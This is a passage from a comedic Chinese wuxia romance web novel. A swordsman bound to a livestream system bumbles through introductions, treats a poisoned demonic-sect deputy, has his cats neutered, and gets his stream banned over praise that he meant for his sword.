余清晚也同赵惊弦一般露出了些苦恼之色,像是不知该如何解释这人的身份。
赵惊弦恨不得能立即移开话题,好给他些思考如何介绍谢厌身份的时间,他将手从剑上移开,急忙问:“是江湖上的哪位朋友?”
余清晚几乎与他同时开了口,问:“里面这……这是哪位少侠?”
赵惊弦:“这……呃……他是我的好朋友……”
余清晚也同时嗫嚅道:“赵兄,这是我……我的一位朋友。”
赵惊弦:“……”
余清晚:“……”
两人又齐刷刷闭了嘴,尴尬望着对方,巴望着对方能够多说上几句话。
一片沉默中,谢厌忽地冷声唤了一句。
谢厌:“裴衡?”
门外那裹得极为严实的怪人不由朝后瑟缩,极小声应答:“谢副使……”
谢厌:“……”
谢厌神色微妙。
他那目光在裴衡与余清晚之间转了一圈,见二人谁也不打算解释,他方平静道:“他是裴衡,赵惊弦,你应该听说过他的名字。”
赵惊弦当然听说过这个名字。
几日之前,他方从余渡与谢厌口中,得知余清晚在邪道中有个关系匪浅的竹马。
谢厌说此人唤作裴衡,可这人在江湖上毫无名气,至少赵惊弦从未听说江湖上还有这么一人,当然,有没有名气不重要,重要的是——这人是魔教中人。
他正愁如何才能与余清晚解释谢厌的身份,这机会就送到了他眼前来。
他解释不出来不要紧,余清晚也解释不出来啊!
不论余清晚问什么,他都直接将问题往裴衡身上带便好!
“……谢副使?”余清晚很惊讶,“赵兄,这人是谢厌?!”
赵惊弦充耳不闻。
他略显浮夸地吸了口气,也同谢厌一般,故意将目光在余清晚与裴衡之间转了几圈,只同见到了什么极不可思议的事情,刻意咬了重音,大声道:“余兄,你怎么会与魔教的裴衡在一块?”
——若是论出格,他和谢厌走在一块才更出格。
可只要他质问的速度够快,错的人就绝不会是他。
“这……我……此事我稍后再解释。”余清晚蹙眉说道,“赵兄,你可知那人是魔教副使——”
赵惊弦的声音更大了一些:“余兄,我听说你有个邪道竹马!”
余清晚:“我……竹马……也不是……”
赵惊弦硬要胡言:“那便是有个邪道旧敌了,你二人又怎么会走到一块?!”
余清晚极为勉强:“我与他……”
赵惊弦甚是感慨:“我万万没想到——”
余清晚下定决心:“……两情相悦。”
赵惊弦:“你们……你……你……”
赵惊弦猛然一顿。
“他如今是我的……”余清晚将目光微微下移,面上微微有些泛红,极小声又含混地飞快突出几个零碎而不成语句的词语,“……竹马……就是竹马……正邪……旧敌……误会而已……”
赵惊弦:“……”
赵惊弦:“啊?!什么?!!”
-
赵惊弦目光呆滞,呆怔怔看着半空飘过的弹幕。
【啊?????】
【啊?谁?什么?怎么突然就在一起了?】
【竹马就只是竹马……竹马是不可能变成妻子的……】
【啊?谁来解释一下新冒出来这两个人都是谁啊?!】
【好消息:这个直播间恋爱进度飞快
坏消息:快的怎么是其他人啊qaq】
余清晚努力想要解释。
“赵兄,我……我收到你那封信时,实在很惊慌。”余清晚说道,“你在信中那般惊慌,我以为你被强敌所困,裴衡……裴衡又恰好在我身边……”
不知为何,余清晚说到此处时,谢厌冷哼了一声,虽没有其余言语,余清晚还是涨红了脸,讷讷说道:“我知赵兄你嫉恶如仇,此事我原是不敢告诉你的。”
赵惊弦:“……”
“我本想赵兄你未见过裴衡,我将他的身份瞒过去便好。”余清晚小心翼翼瞥了谢厌一眼,“可我没想到谢厌会在此处。”
赵惊弦:“嗯……”
“对啊。”余清晚忽然回神,“赵兄,他是魔教的谢厌,谢厌为什么会在这儿?”
赵惊弦喃喃说:“哦……他啊……”
余清晚的话实在太有冲击性,赵惊弦到现在才缓缓回过神来,他原以为余清晚才是最嫉恶如仇那个人,可余清晚自己都和邪道人谈上了,那他和谢厌之事,岂不是天造地设,顺理成章。
赵惊弦登时就来了情绪。
余清晚:“赵兄,你方才说,谢厌是你的朋友?”
赵惊弦用力清了清嗓子:“实不相瞒,我对谢厌,也——”
几乎在同时,明显察觉出赵惊弦意图的谢厌已恶狠狠瞪了余清晚一眼,破口骂道:“关你喵事!”
余清晚:
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“……”
赵惊弦:“呃……”
谢厌:“你闭嘴!”
赵惊弦:“……”
“再多说半句废话。”谢厌明显炸了毛,咬牙切齿地骂,“我就把你们全喵了!”
-
片刻沉默后,余清晚露出了恍然大悟的神色。
“我明白了。”余清晚喃喃说道,“早知如此,我当初也不必瞒着赵兄了。”
谢厌警惕看着他。
“你明白什么?”谢厌冷笑,“我在此处,只是为了养伤。”
赵惊弦有些惊讶:“啊?谢副使,你愿意留下来养伤了?”
谢厌:“……”
谢厌气得脸色发白,又恶狠狠瞪了赵惊弦一眼。
赵惊弦也不知道自己这一句话又戳中了谢厌哪片逆鳞,他一句话音未落,谢厌已拄着刀尝试起身,看那架势,像是一刻也不愿在此处多留了。
赵惊弦:“这……谢副使,你身上有伤……”
谢厌完全不理他。
可谢厌伤重,哪怕已休息了一日,起身时还是腿软,有些踉跄,赵惊弦方想伸手搀他,他便恶狠狠地瞪赵惊弦,这模样实在太像小猫龇牙,赵惊弦一点也没有被凶到,他根本压不住自己的唇边的笑,还要腆着脸往上凑。
赵惊弦:“谢副使,你小心一些。”
谢厌:“喵!”
赵惊弦:“我担心你身上的伤。”
谢厌:“再跟过来,我喵了你!”
赵惊弦联系上下文做了个合理推敲。
“就算要杀了我,也得等你伤愈之后再说。”赵惊弦道,“如今怕是……有些为难。”
谢厌:“你……你你……”
“君子报仇,十年不晚。”赵惊弦又一顿,迟疑问,“不对,你们邪道人,会将自己称作是君子吗?”
谢厌:“……”
谢厌猛地抬手捂住嘴,呕出了一大口血。
赵惊弦只当这还是郁结的淤血,他并未太过担心,只是道:“谢副使,你这坏脾气——”
谢厌的身子一晃,朝后倒去,赵惊弦的后半句话卡在喉中,匆忙伸手揽住谢厌,原以为以谢厌的脾气,多少会推拒一二,可谢厌已浑然不觉,手中拄着的刀也铮地落了地。
这一切同他初回毒发时的模样也差不了多少,赵惊弦不由心中一紧,短短几步路,他又不需用剑,便横抱起了谢厌,匆忙往床榻之处走去,道:“余兄,帮忙。”
余清晚自不用他多说,已跟着走到床侧,问:“他毒发了?”
“对,他应当是……”赵惊弦微微一顿,蹙眉看向余清晚,“你为何知道他毒发了?”
的确,余清晚是神医,或许是他一眼看出了谢厌的病症,可赵惊弦还是觉得有些奇怪,以往余清晚从不会一言断定他人病症,他今日的反应,倒像是已提前知道了什么一般。
果真余清晚略有些古怪看了赵惊弦一眼:“裴衡与我提过。”
赵惊弦:“……裴衡?”
“我先看看谢厌的病。”余清晚低声说道,“赵兄,谢厌有关之事,你还是先问问裴衡吧。”
赵惊弦:“……”
赵惊弦看了看门外裹成一团的怪人。
“他叛离魔教之事,只怕没有你所想的那么简单。”余清晚道,“我听过江湖上的一些传闻——”
赵惊弦:“先治病。”
余清晚神色凝重点了点头。
赵惊弦起身,朝着门边的裴衡走去。
他是有话想问裴衡。
谢厌在江湖上有什么传闻,他无所谓。
谢厌叛离魔教是为了什么事,他也不在乎。
现在的他,只好奇一件事。
余清晚这种油盐不进说要和他一块孤老终生的人,裴衡他到底是怎么把人追到的啊?!
11. 猫O大事
赵惊弦走到裴衡身边,同裴衡打了个招呼。
他在江湖上交游甚广,自认很有一套结交朋友的办法,可裴衡看也不看他,甚至还退后了两步。
赵惊弦万分热情:“裴兄弟,在下赵惊弦——”
裴衡往屋檐下的阴影里挪了挪。
赵惊弦:“你放心,我与余神医是旧识。”
裴衡:“……”
赵惊弦:“生死之交。”
裴衡:“……”
赵惊弦:“他的朋友,就是我的朋友。”
裴衡:“……”
裴衡将自己缩得更小了一些,几乎蜷到阴影之下,一寸寸将目光从赵惊弦脚边移开,挪进他面前的阴影里。
赵惊弦:“呃……裴兄弟?没听到吗?裴兄弟?”
裴衡:“……”
“不对,你是余兄的……”赵惊弦稍稍一顿,有些不知道该要如何称呼裴衡,“这……我该怎么称呼你?”
裴衡终于抬起了头,略有些期待地看了赵惊弦一眼。
赵惊弦:“呃……裴……裴……”
裴衡的眼睛微微睁大。
赵惊弦词穷:“……嫂子?”
裴衡:“……”
赵惊弦:“……”
裴衡:“……”
裴衡忽而动了脚步,飞快朝着院中一角走去,到了另一侧的阴影下,继续缩成一团,坚定盯着什么也没有的地面,绝不回头多看赵惊弦一眼。
赵惊弦懵了。
他还是第一次见到这种性格的人,裴衡并无敌意,倒像是有些害怕他,可他不知裴衡这惧意究竟从何而来,初见而已,真至于如此吗?
赵惊弦只好站在离裴衡极远的地方,冲着裴衡喊话。
赵惊弦:“裴……这位……裴兄。”
裴衡:“……”
“抱歉,我没有经验。”赵惊弦说道,“我只是想,你与余兄是情侣——”
裴衡满怀期待微微回过目光。
赵惊弦:“所以男嫂子也是嫂子。”
裴衡:“……”
裴衡跑了。
这小子溜得比猫还快,赵惊弦目送他在满天弹幕中跃进树丛,甚是苦恼地挠了挠头,到最后也不知道自己究竟错在了何处。
他只能看向在此刻激增的弹幕,希望能得到一些与此事有关的解释。
【救救我……什么叫男嫂子也是嫂子啊啊啊!!!】
【主播真会说话,要不这嘴还是别要了吧】
【你换个赛道吧……真心疼谢美人,都被气吐血几回了】
【其实我觉得裴(忘记名字)嫂子只是有点社恐,结果主播纯e人自来熟,看给孩子吓得。】
【男嫂子跑得真快啊(赞叹】
【i人深深共情,换我我一定跑得比他还快。】
赵惊弦:“……”
赵惊弦没有办法,赵惊弦只能回去找余清晚。
他回到屋中时,余清晚刚为谢厌把完脉。
他神色不佳,谢厌的情况显然并不乐观,赵惊弦还来不及发问,余清晚已叹了口气,道:“裴衡同我提起过这毒,可我看谢厌的脉象……这毒远比裴衡所说的还要麻烦。”
赵惊弦一怔:“你也没有办法?”
“不好解。”余清晚蹙眉,“我需要时间。”
说完这话后,余清晚取了落梅山庄惯用于抑毒的莲华散,伸手递给了赵惊弦,道:“先喂他吃了吧。”
这答案倒并不怎么出乎赵惊弦预料,他点了点头,顺手将莲华散接过:“那你还先住在以往那间屋子里吧。”
余清晚一怔,显然没想到赵惊弦会答应得这么痛快。
“待会儿我再给你找被褥。”赵惊弦将莲华散收好,“对了,裴……那小子跑了,我要给他也准备屋子吗?”
余清晚:“呃……他若走了,应当就不用了吧。”
赵惊弦叹气:“怪我,我说话太直接,他好像被我吓走了。”
余清晚还有些发懵,他见赵惊弦如此平静,以为赵惊弦没有听懂他那几句话的意思,也不知自己给他的究竟是何物,解释道:“赵兄,他的毒,我暂时没有办法。”
赵惊弦:“嗯?你不是已说了吗?”
余清晚:“这是莲华散,是用来抑毒的。”
赵惊弦点头:“我知道。”
余清晚:“……你还是先喂谢厌吃了吧。”
赵惊弦:“费那事干嘛。”
余清晚:“啊?”
“我直接传功便好。”赵惊弦说道,“见效快,效果长,药还是留着以后再吃吧。”
余清晚:“……”
余清晚看赵惊弦的目光,已与方才有些不同了。
他看了看床上昏迷不醒的谢厌,倒也很能理解赵惊弦此刻的心情,他轻轻叹了口气,道:“赵兄,此事会损耗你的内力。”
赵惊弦:“我知道。”
“长久以往,这折损或许不可逆转。”余清晚低声说,“习武之人……”
赵惊弦:“我又不在乎。”
余清晚:“……”
赵惊弦朝他摆了摆手:“你先出去吧,我传功时不太习惯有其他人在身边。”
余清晚深深吸了口气。
“我明白了。”余清晚说,“想不到这江湖上,原来还有这么纯粹的爱情。”
赵惊弦:“?”
不对,等等。
这句话,他是不是在哪儿听过?
“赵兄,你放心。”余清晚说道,“救人而已!”
赵惊弦:“……”
这句话也很熟悉啊!
“交给我吧!一定会成功的!”余清晚拍着胸口大声说道,“我余某倾尽毕生所学,必定能将谢厌救回来!”
赵惊弦:“……”
你们这两兄弟,到底是怎么一回事啊!
-
谢厌自昏迷中醒转时,那只玄猫就趴在他的枕侧,睁着绿莹莹的眼睛盯着他。
这一回他的神思比以往每一次毒发结束时都要清明,体内的内力流转也极为顺畅,若不是还难以运功,枕旁散着的几缕发丝也依旧是白色的,他几乎都要以为自己这一回毒发已经结束,他总算又熬过了一轮折磨。
他不可能不受折磨便熬过毒发的痛苦,谢厌只能想出一种可能。
——赵惊弦又传功为他抑毒了。
虽说赵惊弦自己说过,内功对他而言并不重要,可谢厌不太相信江湖上还有这样的功法,剑法精妙当然是剑客行走江湖的资本,可内力越深厚,剑招的威力也会越大,如此浅显的道理,习武之人怎么可能会不懂。
他们素昧平生,赵惊弦自己也受了伤,他体内的寒毒,也需要耗费不少内力方能逼出。
在这种情况下……赵惊弦怎么还能先顾着他。
他心中有些难以言明的微妙滋味,正一点一点散开。
枕边的玄猫动了动身子,伸了个极大的懒腰,钻出不知被何人放下的青纱床幔,轻巧落了地,谢厌也捂着腹上的伤口勉力起身,略微挑开一些床幔,朝外看去。
外头已是天明,他不知自己究竟昏迷了多久,屋中也不见其他人的身影,屋顶那被周堂主破出的大洞之下整整齐齐蹲了一排猫儿,齐刷刷抬着脑袋盯着那破洞,也不知究竟看些什么。
玄猫懒洋洋走到它们身边,又侧身躺倒在地,绿幽幽的眼眸朝谢厌身上一晃,也抬起了头,看向那屋顶的洞。
从床上这角度,谢厌除了破损的屋檐外便什么也见不着了,他缓了几口气,干脆起了身,一眼便见他的刀正靠在床侧,床榻下整整齐齐摆着他的那双鞋——那双昨日赵惊弦说浸透了鲜血,他暂时还来不及洗的鞋。
这鞋看起来干净得很,显然是新洗过,而他昏迷未久,应当只有一夜,近来天气潮湿,一夜功夫,怎么也不可能将鞋晾干。
他只能想,这鞋若不是用火烤干的,便该是用内力烘干的。
谢厌不由皱起眉,心中五味杂陈。
他实在很难想一个本与他全无关系的陌生人,竟会为他费心至此。
他总觉得赵惊弦另有用意,可这用意究竟在何处,每次他试图问赵惊弦时,这人却总会想法子将话题绕开。
总不可能……这人总不可能真喜欢他吧?
破损的屋顶上传
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来簌簌响动,猫儿卯足了劲仰着脖颈朝上张望,谢厌便也穿了鞋捂着伤处走到那处屋檐下,同猫儿一道抬眸朝上看去。
——赵惊弦在屋顶上。
如今正是清晨,谢厌抬眸去看时,朝曦似是烫金了赵惊弦垂落的白衣,暖洋洋落在他身边那两只小橘猫柔软的毛发上——它们也正伸长了脖子朝下看,睁圆了琥珀色的眼瞳,毛茸茸的小脑袋迫不及待随着谢厌的脚步移动。
谢厌怎么也移不开目光,好像心尖被什么东西痒痒地戳了一下,连唇边都不由轻微地带出了一点儿弧度来。
赵惊弦这时才听见了动静,他也与小橘猫一般,探头朝下望了一眼,眉目中立即带上了笑意,问:“你醒了?”
谢厌一点一点压下唇边的弧度,冷淡颔首:“嗯。”
“醒了便好。”赵惊弦也没有多想,他拍了拍手上的灰,从破损的屋顶上跳了下来,道,“我还怕待会儿的事吵醒你。”
他说话时的语气如此寻常,仿佛谢厌只是小睡清醒,而非因那异毒昏迷至今,那语气更似与谢厌相识已久,好像已将谢厌……当成了他的一位好友。
谢厌坚持觉得自己不可能会喜欢这样的感觉。
他将语调压得越发冷淡,问:“……什么事?”
“我与余兄有半年之约,今日恰好到时候了。"赵惊弦说道,“到时恐怕会极为吵闹,若你还在休息,我担心会惊醒你。”
谢厌果真又好奇问:“半年之约?”
赵惊弦没想到谢厌会关心这种事,稍稍有些惊讶:“谢副使想知道?”
谢厌蹙眉:“不是很想……”
赵惊弦笑了笑:“那跟我来吧。”
谢厌:“……”
谢厌不由自主跟上了赵惊弦脚步。
谢厌今日的精神的确好了不少,落梅山庄的伤药见效甚快,伤处已没有那么疼痛了,只是行走时仍略显得有些迟缓。
他跟在赵惊弦身后,目光却总忍不住往赵惊弦手上瞟,昨日赵惊弦的手受了伤,他只告诉赵惊弦寒毒之事,还未与赵惊弦说如何才能逼出寒毒,如今已到了寒毒将要发作的时候,他还是……他只是……
……稍微……有一点担心。
谢厌清了清嗓子,若无其事:“赵惊弦,你的手……”
赵惊弦:“什么?”
“……没什么。”谢厌移开一些目光,“昨日好像未曾告诉你寒毒解法。”
“此事我已问过余兄了,服了些莲华散,并无大碍……”赵惊弦忽地一顿,有些惊异睁大眼,“谢副使,你不会是在关心——”
谢厌:“我没有。”
赵惊弦:“这么说来你昨日问我手上的伤,也是——”
谢厌:“我没有。”
赵惊弦:“可我记得昨日——”
谢厌立即沉下脸色:“你记错了。”
说完这话,他立即捂着伤处快行向前,竟还真超过了赵惊弦,走到了前头去。
可他伤处只是较昨日略好,又不是已经愈合,走动动作稍大一些,伤处便疼痛难忍,偏偏赵惊弦还要好奇快步绕到他面前,问:“谢副使,你……不疼吗?”
谢厌:“……与你何干?”
赵惊弦为他竖起拇指:“有这种毅力,你干什么都会成功的。”
谢厌:“……”
谢厌恨得咬牙。
他走到院中,见着余清晚背对他二人在院中一角,听见二人脚步,他正转身抬手,两指捏着往外一搓,数柄一指宽冒着冷冽寒光的小刀,在他的食指与拇指之中,如同扇面一般绽开。
谢厌一怔,那小刀看起来像是个暗器,可他从未听说过余清晚还会用暗器,他不由问:“这是要做什么?”
赵惊弦道:“是所有小猫一生中最重要的大事。”
谢厌颇为不解:“猫有什么大事?”
“过了今天。”赵惊弦笑眯眯顺手捞起了跟在他脚边一块过来的小橘猫,语重心长说,“你们终于要是不完整的小猫了。”
谢厌:“……?”
这人……赵惊弦与余清晚这两个人……
他们到底要对小猫做什么啊?!
12. 这种事情不要啊!
赵惊弦觉得,现在就是开启直播的完美时机。
昨夜为谢厌传功抑毒时,赵惊弦不得不暂先关闭了直播。
传功抑毒需要花费不少时间,这期间他不能说话,总不好开着直播让所有人看着他与谢厌发呆,他便暂先关了直播,结算了一波先前直播的积分。
他只差不到两百分,就可以兑换直播分级申请书了,胜利的曙光就在眼前,赵惊弦赶忙连夜做了直播复盘,发现只有在猫和谢厌一块出现的时候,他的直播间才是成功的。
他简单琢磨了一下其中的原理,这世上没有人能不喜欢猫,寻常人又大多喜欢美人,两相结合,自然就会大获成功。
譬如如今。
猫,有了。
美人,谢厌就是。
不仅如此,他记得江湖上也有不少与余清晚有关的传闻,有不少人私下会将他称作美人神医,还将与他外貌有六七分相似的余渡唤作是江湖上难得一见的翩翩公子,虽说赵惊弦对人类的脸没什么感觉,可江湖人都这么说,那应当不会有错。
他今日可有数只小猫,两个美人,区区两百积分而已,还不是轻而易举,当场就能直接拿下。
有了前几次直播铺垫的人气,这一回直播一开启,面前便有数条弹幕飞速飘过。
【这么一大早就开播,主播好勤劳!】
【好耶谢美人醒了!!】
【好耶神医美人也在!那么我们裴……(忘记名字)跑了还没回来吗?】
【我要是男嫂子,我大概会想换个星球生活。】
【看小谢这脸色白的,主播都不知道扶一下吗?】
【对啊!会不会谈恋爱!快关心关心人家!】
【在吗,看看猫?】
赵惊弦:“……”
说实话,赵惊弦还真没想过要扶一把谢厌。
他看谢厌今日情况甚好,走动时已没有昨日那么踉跄了,本来不打算自讨无趣的。
谢厌这臭脾气别扭得厉害,他要是主动关心,十之八九只会听见谢厌的拒绝和斥骂。
赵惊弦清了清嗓子:“谢副使,我看你今天虚得很——”
谢厌没理他。
“要不我扶着你吧?”赵惊弦说,“扛着你也可以的。”
谢厌:“……呵。”
赵惊弦平静且飞快地切换了直播观众视角。
“要不我扶着你吧?”赵惊弦重复了一遍方才的话语,“抱过去也可以的。”
“你喵喵烦不烦。”谢厌咬重字音,“喵!”
真好,舒坦多了。
这人还是这样比较可爱。
【怎么感觉主播已玩上了?】
【炸毛猫猫,一种良好的美德!】
【真是喵了个咪的!】
【不对啊,神医这边在干嘛?他拿这么多刀片做什么?】
【有种不太好的预感……】
【不会是主播昨天说的喵喵绝情刀吧……】
【这种事情不要啊!】
赵惊弦斜眼瞥着看了几眼弹幕,又收回目光,看向面前看过他逗谢厌后,有些手足无措的余清晚。
“余兄,准备得如何了?”赵惊弦问,“若是已做好了准备,我便将猫唤过来了。”
谢厌警惕问:“你们要做什么?”
“谢副使放心,是好事。”余清晚今日与谢厌说话的语气,已较昨日客气了许多,“赵兄这里有许多猫,我每隔半年便会过来,为它们检查检查身体。”
谢厌:“……检查身体?”
“猫与人毕竟不同,人不舒服能说出口,猫却难有反应。”赵惊弦接口道,“我总担心它们生病,归隐决定养猫时,便与余兄定下了半年之约,每隔半年,他过来为我看看猫。”
谢厌:“……”
谢厌总觉得很微妙。
余清晚是医人的神医,人与猫全然不同,他能给人把脉,为人治病,可他难道还能给猫把脉不成?
医人与医猫可不能互通,若照赵惊弦的说法,余清晚难道还得为了这所谓的半年之约,专门去学一学猫的医理?
赵惊弦取来猫儿吃饭时常用的碗盆,不过轻轻一敲,便有数只猫儿匆匆赶来,赵惊弦先抓住了走在最后头的玄猫,拎着玄猫往余清晚面前的小桌上一放,道:“这只心眼最多,得第一个来,否则它可就要跑了。”
谢厌:“……”
好怪的感觉。
可谢厌怎么也按捺不住心中的好奇,他还是决定凑上前去看。
余清晚接过赵惊弦手中的玄猫,先翻过耳朵看了看玄猫的耳道,又掰开玄猫的嘴,认真检查了一遍它的牙,看着几乎像是从玄猫的脑袋摸到了尾巴尖,还捏了捏那垂下软绵绵的小肚子,翻过爪子仔细看了看,余清晚才点了点头,说:“还算不错。”
玄猫甚是配合地自信仰起头。
余清晚:“就是有些胖了。”
玄猫用力甩了甩尾巴,没等余清晚说出下半句话,便立即跳下了桌子,可余清晚还要补上了一句:“阉猫是容易胖一些。”
谢厌:“……”
谢厌克制不住看向了玄猫的屁股。
他知道人不该过多窥探他人短处,窥探猫大概也不行,可他实在忍不住这与生俱来的好奇,他知道人有阉人,宫中常见,可此事具体如何去做,他从未关心过,也并不清楚,那……那猫呢?
这么残忍的事情,怎么能对毛茸茸又可爱的小猫做呢!
可玄猫已经扭着屁股走远了,它看起来对这件事全不在意,赵惊弦已经抓来了其他几只猫,交给余清晚一一检查,谢厌更控制不住将目光落在每只猫的屁股上——他是看不出公猫母猫,他只能看出除了最初所见的那两只小橘猫外,每一只猫的屁股后头,都没有圆溜溜的小铃铛。
谢厌开始有些沉默了。
最后被抱上桌子的,是那两只小橘猫。
余清晚照常为它们检查,可一切结束后,他却没有让小橘猫离开。
他和赵惊弦合伙让小橘猫吃了些什么东西,不到一炷香功夫,小橘猫昏昏倒地,余清晚掏出了闪闪寒光的喵喵绝情刀,目光幽深看了谢厌一眼,道:“赵兄,这件事,还是别让谢副使看见了吧。”
谢厌:“……”
赵惊弦竟然还要替谢厌拒绝:“没事的,都是看多了生死的江湖人,略微见一点血光而已,不要紧的。”
余清晚颇为古怪看了赵惊弦一眼,再度暗示道:“应该是紧要的。”
赵惊弦一点也没有明白他的暗示:“这有什么好紧要的?”
余清晚:“……”
余清晚没有办法了,他只能朝赵惊弦招手:“赵兄,借一步说话。”
赵惊弦甚是不解,可还是跟着余清晚走到了一旁。
待确定谢厌听不见他们说话了,余清晚才问:“赵兄,你不是对谢副使有意吗?”
赵惊弦用力点头。
余清晚蹙眉:“可落花有意,流水无情,谢副使对你可没有一点想法。”
赵惊弦并不担心此事。
他被直播系统选中,要求他与谢厌谈一场恋爱,可又没说这恋爱一定要成,反正他对儿女情长全无兴趣,若不是这突然冒出的直播系统,只怕再过十年,他都想不起来还要做这么一件事。
余清晚又道:“正是如此,才更需要努力。”
赵惊弦:“努力……什么?”
“你得维持住在谢副使心中的好形象,带他风花雪月也好,谈情说爱也罢。”余清晚低声说,“哪有带着意中人去看给猫噶蛋的啊!”
赵惊弦:“……”
“我看谢副使这人,不过外冷内热,嘴硬了一些。”余清晚道,“他那么喜欢猫,初回见着此事,心中肯定接受不了。”
赵惊弦很困惑:“……啊?他哪里喜欢猫了?”
“你先带他回去休息,去后山散散步也行,等事了之后再回来。”余清晚总觉得自己的嘱托还不够保险,便有再补了几句,“多说几句好听的话,哄哄人家。”
赵惊弦:“此事……”
“莫说你不会,我看你平日会的很。”余清晚说
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,“平日怎么对剑发疯,就怎么对他说话。”
赵惊弦:“啊?”
“相信我。”余清晚郑重其事拍了拍赵惊弦的肩,“一定会有奇效。”
赵惊弦:“……”
-
余清晚抱着两只小橘进屋去了,而赵惊弦茫然转身,重新回到了谢厌身边。
谢厌挑眉:“他与你说了什么?”
赵惊弦:“……”
谢厌冷笑:“罢了,我也不是很想知道。”
赵惊弦:“……”
赵惊弦还在脑中回想着余清晚最后那句话。
什么叫做他平日怎么对剑发疯,今日便怎么与谢厌说话?
他一人对剑时的确会自言自语,可那也算不得是发疯吧?
人看到分外漂亮的剑,多夸几句怎么了!
人与阔别许久的剑相会,多聊几句怎么了!
他一个人独居,平日与猫聊聊天与剑说说话,不也很正常吗!
余清晚这种不懂剑的人,果然很没有品味!
-
可余清晚说得也没有错,这种事情,他的确比赵惊弦有经验。
他虽然没追上裴衡,来不及向裴衡请教,可问余清晚大概也是相同的。
与剑说话他有得是经验,若只需将对剑说过的话,转换成夸赞人的词汇,他能直接与谢厌聊上三天不停,绝不重样。
赵惊弦抬眸看向谢厌。
“你今日……”赵惊弦语调生硬,“有些好看。”
谢厌明显一僵。
不对,这么说显然不对。
他夸剑的时候,可不会如此词汇匮乏。
赵惊弦又用力清了清嗓子。
“谢副使这般的大美人。”赵惊弦努力回忆自己今晨与爱剑说过的话,“这般恰到好处的身量,完美的光泽……肌肤无暇润泽,身如寒星……呃,眸如寒星!迅捷似电,音调铮然,这完美的金属质感——”
谢厌:“……你在说什么喵话。”
赵惊弦也不知道自己在说什么。
余清晚让他将谢厌当做是剑夸赞,他便只能如此,记着自己如今最爱用的那柄剑,将剑身上的优点,和他最喜欢的那柄剑的地方,全都移到谢厌身上来。
“我就喜欢用长得高的人。”赵惊弦说道,“硬度适中,用起来趁手,若是太软了,用之无趣,难中要害,至少我是瞧不上的。”
谢厌:“……”
“趁手之物,总能令人兴致百倍。”赵惊弦提起了剑,有些难抑兴奋,脱口而出,“只需一入手,便灵动如水,无我忘我,交融一体,合二为一。”
谢厌:“……”
赵惊弦:“谢副使你一看便是这种人——”
谢厌:“……你有病吧!”
赵惊弦:“啊?我吗?”
谢厌:“你给我喵!”
赵惊弦:“?”
谢厌毫不犹豫抓起余清晚方才丢在桌面的那几柄磨得极其锋利的小刀,朝着赵惊弦掷去。
他一看便练过暗器,那几柄刀极精准朝赵惊弦面门而来,只是谢厌有伤在身,这飞刀明显缺了力道,赵惊弦抬剑便能轻易拂开,可他还是吓了一跳,怔怔不解睁大双眼,看向半空的弹幕,与已有段时间未见的那行红色字迹。
【啊?主播说了什么?屏幕怎么又黑了?】
【救命啊他到底说了什么虎狼之词怎么全在喵啊!】
【啊??喵喵适中?灵动喵喵?喵喵一体?主播到底在说什么啊!】
【到底有什么内容是我这种付费会员不能听的!】
【系统检测到主播发布擦边软色情言论,审核员KJZ已对该直播间进行封禁3小时处理】
【主播已违反直播规定,直播间暂时关闭】
【本次直播未达到最低直播时间,将不被计入有效直播,扣除所有直播奖励,当前主播获得观众喜爱值:0】
赵惊弦:“?”
不对,等等啊!
什么擦边软色情,他干什么了怎么就擦边了!!!
13. 这是第一次约会
赵惊弦憎恨这个万恶的审核制度。
他和谢厌今天清清白白,连手都没有挨,说的话也一本正经,绝无半点其他用意,什么垃圾审核。心脏的人,简直看什么都脏。
还有那个什么AI过审功能,不是已经打码消音了吗,怎么还能判定他违规啊?!
面前的谢厌忽地冷笑了一声:“赵惊弦,想不到你是这种人。”
赵惊弦不解:“……什么人?”
谢厌怒骂:“正道败类!”
赵惊弦:“啊?”
谢厌似乎还想骂,他一手捂着腰腹上的伤口,说话时略带着气声,赵惊弦凑近一些,他摇晃着要后退,可赵惊弦还是看见了他衣领之下包扎白纱上略微渗出的血迹,显然是这一日多回勉强,让他的伤处有了些轻微崩裂。
这可不是什么好兆头,谢厌身上伤处太多,若是崩裂,只会越来越难以愈合,赵惊弦有些担心,他往前两步,唤:“谢副使,你的伤——”
谢厌猛地后退数步:“你不要过来。”
“呃……我可以不过来。”赵惊弦皱了皱眉,“可谢副使,我看你的伤处需要重新包扎,你要不还是——”
谢厌:“……我自己来!”
赵惊弦:“……”
谢厌:“你不许过来!”
赵惊弦挠了挠头,只觉今日谢厌今日避他,几乎如避洪水猛兽。
他觉得应当是他方才的那几句话出了错,可究竟错在何处,他简直毫无头绪,他平常就是这么夸剑的,剑都可以这么夸,人……不行吗?
谢厌匆匆回屋去了,赵惊弦跟了两步,最后甚是苦恼地停在屋外,也不知自己究竟该不该进去。
眼下没有弹幕为他解惑,余清晚那边也不知是什么进展,他坐在门外,等了好一会儿,谢厌还未出来,倒是施展完绝情刀法的余清晚先过来了。
“赵兄,那两只猫儿已无事了,还是同以往一般照顾……”余清晚蹙眉,“你在门外做什么?”
他左右一看,不见谢厌身影:“又惹谢副使生气了?”
赵惊弦:“……你怎么知道?”
话音未落,谢厌从内拉开房门,冷冰冰扫了他们一眼。
余清晚往屋中一瞥,桌上有换下的染血的白纱,他立即便明白发生了什么,无奈看了罪魁祸首赵惊弦一眼,这才说:“谢副使,有伤在身,少动怒。”
谢厌冷哼:“那你得让他滚远点。”
赵惊弦小声:“这也怪我?”
余清晚:“……”
没有办法,赵惊弦是个傻子,余清晚只能另外想些办法。
“谢副使。”余清晚笑吟吟说,“听闻您一直很想见赵兄的剑法。”
赵惊弦从来没听说过这种传言。
可谢厌目光却微动,显然被钓起了兴趣。
“此处地方狭窄,杂物甚多,不适合演练。”余清晚道,“后山不远有一处山涧,赵兄常在那儿练剑,不如……你二人一道过去,让赵兄舞剑给你看?”
赵惊弦小声困惑:“为什么要我——”
余清晚也小声回敬:“我建议你闭嘴。”
赵惊弦:“……”
赵惊弦闭嘴了。
……
谢厌默声片刻后,点了点头。
这些年来他事务繁多,难出教中,已有多年不曾外出游历,只能看些燕影堂的江湖情报解解馋。
偏偏近年的江湖太精彩,江湖中大事频发,其中八成又少不了赵惊弦的影子,他已不知在教中的情报中听过了多少遍赵惊弦的剑法,却始终没有机会领教。
哪怕如今他毒性未曾消退,暂不能握刀,可能看上一看,便已足以令他心动了。
习武之人,根本拒绝不了这种诱惑。
余清晚第一步计划达成,甚是满意,他又扯了扯赵惊弦的衣袖,低声道:“赵兄,带上你的琴。”
赵惊弦一怔:“我的……什么?”
